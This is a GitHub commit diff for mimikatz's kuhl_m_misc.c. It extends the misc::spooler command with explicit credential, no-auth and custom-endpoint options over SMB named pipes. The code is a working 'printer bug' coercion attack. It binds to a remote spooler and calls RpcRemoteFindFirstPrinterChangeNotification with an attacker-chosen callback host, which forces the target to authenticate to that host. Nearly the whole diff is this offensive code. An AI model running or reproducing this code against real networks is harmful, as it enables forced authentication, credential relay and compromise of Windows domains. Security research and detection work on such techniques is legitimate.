Skip to content

Commit 2a5b839

Browse files
committed
[enhancement] misc::spooler now supports transport authentication (SMB named pipe)
1 parent dc1e334 commit 2a5b839

File tree

1 file changed

+99
-30
lines changed

1 file changed

+99
-30
lines changed

mimikatz/modules/kuhl_m_misc.c

Lines changed: 99 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1342,58 +1342,127 @@ handle_t __RPC_USER STRING_HANDLE_bind(IN STRING_HANDLE Name) {return hSpoolHand
13421342
void __RPC_USER STRING_HANDLE_unbind(IN STRING_HANDLE Name, handle_t hSpool) {}
13431343
NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[])
13441344
{
1345-
LPCWSTR szRemote, szCallbackTo;
1346-
LPWSTR szPathToCallback = NULL;
1345+
NTSTATUS status;
13471346
PRINTER_HANDLE hPrinter;
13481347
DEVMODE_CONTAINER Container = {0, NULL};
1349-
DWORD ret;
1348+
DWORD dwRet, AuthnSvc;
1349+
long ret = 0;
1350+
NETRESOURCE nr = {0, RESOURCETYPE_DISK, 0, 0, NULL, NULL, NULL, NULL};
1351+
LPCWSTR szUser, szPassword, szRemote = NULL, szEndpoint, szCallbackTo;
1352+
PWSTR szPathToCallback;
1353+
1354+
SEC_WINNT_AUTH_IDENTITY secIdentity = {NULL, 0, NULL, 0, NULL, 0, SEC_WINNT_AUTH_IDENTITY_UNICODE};
1355+
1356+
if(kull_m_string_args_byName(argc, argv, L"authuser", &szUser, NULL))
1357+
{
1358+
AuthnSvc = RPC_C_AUTHN_GSS_NEGOTIATE;
1359+
kprintf(L"[auth ] Explicit authentication\n");
1360+
kprintf(L"[auth ] Username: %s\n", szUser);
1361+
secIdentity.User = (USHORT *) szUser;
1362+
secIdentity.UserLength = lstrlen(szUser);
1363+
1364+
if(kull_m_string_args_byName(argc, argv, L"authpassword", &szPassword, NULL))
1365+
{
1366+
kprintf(L"[auth ] Password: %s\n", szPassword);
1367+
secIdentity.Password = (USHORT *) szPassword;
1368+
secIdentity.PasswordLength = lstrlen(szPassword);
1369+
}
1370+
}
1371+
else if(kull_m_string_args_byName(argc, argv, L"noauth", NULL, NULL))
1372+
{
1373+
AuthnSvc = RPC_C_AUTHN_NONE;
1374+
kprintf(L"[auth ] None\n");
1375+
szUser = szPassword = L"";
1376+
}
1377+
else
1378+
{
1379+
AuthnSvc = RPC_C_AUTHN_DEFAULT;
1380+
kprintf(L"[auth ] Default (current)\n");
1381+
szUser = szPassword = NULL;
1382+
}
1383+
1384+
kull_m_string_args_byName(argc, argv, L"endpoint", &szEndpoint, L"\\pipe\\spoolss");
1385+
kprintf(L"[ rpc ] Endpoint: %s\n", szEndpoint);
13501386

13511387
if(kull_m_string_args_byName(argc, argv, L"server", &szRemote, NULL) || kull_m_string_args_byName(argc, argv, L"target", &szRemote, NULL))
13521388
{
13531389
if(kull_m_string_args_byName(argc, argv, L"connect", &szCallbackTo, NULL) || kull_m_string_args_byName(argc, argv, L"callback", &szCallbackTo, NULL))
13541390
{
1355-
if(kull_m_string_sprintf(&szPathToCallback, L"\\\\%s", szCallbackTo))
1391+
if(kull_m_string_sprintf(&nr.lpRemoteName, L"\\\\%s\\IPC$", szRemote))
13561392
{
1357-
kprintf(L"[info] %s will try to connect to %s\\IPC$\n\n", szRemote, szPathToCallback);
1358-
if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, L"\\pipe\\spoolss", L"spooler", TRUE, RPC_C_AUTHN_DEFAULT, NULL, RPC_C_IMP_LEVEL_DEFAULT, &hSpoolHandle, NULL))
1393+
if(kull_m_string_sprintf(&szPathToCallback, L"\\\\%s", szCallbackTo))
13591394
{
1360-
RpcTryExcept
1395+
kprintf(L"[trans] Disconnect eventual IPC: ");
1396+
dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE);
1397+
if((dwRet == NO_ERROR) || (dwRet == ERROR_NOT_CONNECTED))
13611398
{
1362-
ret = RpcOpenPrinter(NULL, &hPrinter, NULL, &Container, GENERIC_READ);
1363-
if(ret == ERROR_SUCCESS)
1399+
kprintf(L"OK\n[trans] Connect to IPC: ");
1400+
dwRet = WNetAddConnection2(&nr, szPassword, szUser, CONNECT_TEMPORARY);
1401+
if(dwRet == NO_ERROR)
13641402
{
1365-
ret = RpcRemoteFindFirstPrinterChangeNotification(hPrinter, PRINTER_CHANGE_ALL, PRINTER_NOTIFY_CATEGORY_ALL, szPathToCallback, 42, 0, NULL);
1366-
if(ret == ERROR_SUCCESS)
1403+
kprintf(L"OK\n");
1404+
if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, szEndpoint, L"spooler", TRUE, AuthnSvc, secIdentity.UserLength ? &secIdentity : NULL, RPC_C_IMP_LEVEL_DEFAULT, &hSpoolHandle, NULL))
13671405
{
1368-
kprintf(L"Connected to the target, and notification is OK (?!)\n");
1369-
ret = RpcFindClosePrinterChangeNotification(hPrinter);
1370-
if(ret != ERROR_SUCCESS)
1406+
kprintf(L"[ rpc ] Resolve Endpoint: ");
1407+
status = RpcEpResolveBinding(hSpoolHandle, &winspool_v1_0_c_ifspec);
1408+
if(status == RPC_S_OK)
13711409
{
1372-
PRINT_ERROR(L"RpcFindClosePrinterChangeNotification: 0x%08x\n", ret);
1410+
kprintf(L"OK\n\n");
1411+
RpcTryExcept
1412+
{
1413+
ret = RpcOpenPrinter(NULL, &hPrinter, NULL, &Container, GENERIC_READ);
1414+
if(ret == ERROR_SUCCESS)
1415+
{
1416+
ret = RpcRemoteFindFirstPrinterChangeNotification(hPrinter, PRINTER_CHANGE_ALL, PRINTER_NOTIFY_CATEGORY_ALL, szPathToCallback, 42, 0, NULL);
1417+
if(ret == ERROR_SUCCESS)
1418+
{
1419+
kprintf(L"Connected to the target, and notification is OK (?!)\n");
1420+
ret = RpcFindClosePrinterChangeNotification(hPrinter);
1421+
if(ret != ERROR_SUCCESS)
1422+
{
1423+
PRINT_ERROR(L"RpcFindClosePrinterChangeNotification: 0x%08x\n", ret);
1424+
}
1425+
}
1426+
else if(ret == ERROR_ACCESS_DENIED)
1427+
{
1428+
kprintf(L"Access is denied (can be OK)\n");
1429+
}
1430+
else PRINT_ERROR(L"RpcRemoteFindFirstPrinterChangeNotification: 0x%08x\n", ret);
1431+
1432+
ret = RpcClosePrinter(&hPrinter);
1433+
if(ret != ERROR_SUCCESS)
1434+
{
1435+
PRINT_ERROR(L"RpcClosePrinter: 0x%08x\n", ret);
1436+
}
1437+
}
1438+
else PRINT_ERROR(L"RpcOpenPrinter: 0x%08x\n", ret);
1439+
}
1440+
RpcExcept(RPC_EXCEPTION)
1441+
PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
1442+
RpcEndExcept
1443+
1444+
kprintf(L"\n");
13731445
}
1446+
else PRINT_ERROR(L"RpcEpResolveBinding: 0x%08x\n", status);
1447+
1448+
kull_m_rpc_deleteBinding(&hSpoolHandle);
13741449
}
1375-
else if(ret == ERROR_ACCESS_DENIED)
1376-
{
1377-
kprintf(L"Access is denied (can be OK)\n");
1378-
}
1379-
else PRINT_ERROR(L"RpcRemoteFindFirstPrinterChangeNotification: 0x%08x\n", ret);
13801450

1381-
ret = RpcClosePrinter(&hPrinter);
1382-
if(ret != ERROR_SUCCESS)
1451+
kprintf(L"[trans] Disconnect IPC: ");
1452+
dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE);
1453+
if(dwRet == NO_ERROR)
13831454
{
1384-
PRINT_ERROR(L"RpcClosePrinter: 0x%08x\n", ret);
1455+
kprintf(L"OK\n");
13851456
}
1457+
else PRINT_ERROR(L"WNetCancelConnection2: 0x%08x\n");
13861458
}
1387-
else PRINT_ERROR(L"RpcOpenPrinter: 0x%08x\n", ret);
1459+
else PRINT_ERROR(L"WNetAddConnection2:%u\n", dwRet);
13881460
}
1389-
RpcExcept(RPC_EXCEPTION)
1390-
PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
1391-
RpcEndExcept
1461+
else PRINT_ERROR(L"WNetCancelConnection2: %u\n", dwRet);
13921462

1393-
kull_m_rpc_deleteBinding(&hSpoolHandle);
1463+
LocalFree(szPathToCallback);
13941464
}
1395-
1396-
LocalFree(szPathToCallback);
1465+
LocalFree(nr.lpRemoteName);
13971466
}
13981467
}
13991468
else PRINT_ERROR(L"missing /connect argument to specify notifications target");

0 commit comments

Comments
 (0)